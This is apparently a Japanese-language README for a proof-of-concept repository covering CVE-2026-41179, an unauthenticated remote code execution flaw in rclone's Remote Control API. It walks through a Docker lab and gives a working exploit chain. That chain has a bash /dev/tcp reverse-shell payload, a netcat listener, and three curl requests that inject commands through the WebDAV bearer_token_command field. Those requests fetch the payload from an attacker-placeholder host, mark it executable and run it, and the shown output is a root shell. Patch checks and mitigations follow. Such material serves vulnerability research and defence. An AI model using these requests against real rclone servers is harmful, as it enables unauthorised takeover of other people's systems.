
CVE-2026-41179 の POC
⚠️ 教育目的専用 このリポジトリは、セキュリティ研究、教育、および許可されたラボ環境でのみ使用することを目的としています。PSSecおよびこのリポジトリの貢献者は、ここに含まれる情報、コード、または手法の不正、違法、または悪意のある使用を容認、支持、または一切の責任を負いません。このリポジトリを使用することにより、あなたは自己の行動に単独で責任を負い、所有するシステムまたは明示的な書面による許可を得たシステムに対してのみテストを行うことに同意したものとみなされます。
CVE-2026-41179 は、rcloneの組み込みRemote Control (RC) APIにおける重大な未認証リモートコード実行 (RCE) 脆弱性であり、バージョン 1.48.0から1.73.4 に影響します。
| 詳細 | 値 |
|---|---|
| CVE | CVE-2026-41179 |
| CVSSスコア | 9.8 (重大) |
| 影響を受けるバージョン | rclone 1.48.0 – 1.73.4 |
| パッチ適用バージョン | rclone 1.73.5 |
| コンポーネント | RC API (/operations/fsinfo エンドポイント) |
| 攻撃ベクトル | ネットワーク — 認証不要 |
rcloneには、組み込みのHTTPリモートコントロールインターフェース(rcd)が搭載されています。/operations/fsinfo エンドポイントは、ユーザーが指定した fs= 文字列を受け取り、解析されてバックエンド(WebDAVバックエンドを含む)のインスタンス化に使用されます。WebDAVバックエンドは bearer_token_command パラメータをサポートしており、これはサニタイズされずに直接 exec.Command() に渡されます。このエンドポイントはデフォルトで認証が不要なため、認証されていない攻撃者はrcloneプロセスのユーザーとして任意のOSコマンドを実行できます。
攻撃チェーンの概要:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # 脆弱なrcloneイメージ (v1.69.3)
├── patched.Dockerfile.rclone # パッチ適用済みrcloneイメージ (v1.73.5)
├── poc.sh # リバースシェルペイロード
└── instructions # ステップバイステップのラボウォークスルー
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Debian-slimコンテナをビルドし、rclone v1.69.3を実行し、RC APIをポート5572で公開します。
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
RC APIは認証なしで http://127.0.0.1:5572 からアクセス可能になりました。
penelope -p 5555
# OR
nc -lvnp 5555
poc.shを編集し、攻撃者のIPとリスニングポートを設定します:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
poc.shと同じディレクトリからこれを実行します:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
リスナーを確認してください — コンテナからrootシェルが受信されるはずです:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
パッチ適用イメージを使用してステップ1〜8を繰り返し、脆弱性が修正されたことを確認します:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
同じ curl リクエストをポート 5573 に送信します — コマンドは実行されないはずです。
rcdを--rc-userおよび--rc-passフラグで起動して、認証情報を要求します。5572)へのネットワークアクセスを制限します — 信頼されていないネットワークに公開してはいけません。--rc-no-auth=false(パッチ適用バージョンでの新しいデフォルト)を使用することを検討してください。このリポジトリは教育および許可されたセキュリティ研究目的のみで提供されています。概念実証コードは、管理されたDockerラボ環境における実際の脆弱性を示しています。
PSSecおよびすべての貢献者:
本コードを本番システムまたは所有していないシステムに対して不正に使用すると、お住まいの地域のコンピュータ詐欺およびサイバー犯罪法に違反する可能性があります。
CVE-2026-41179 — PSSecによる研究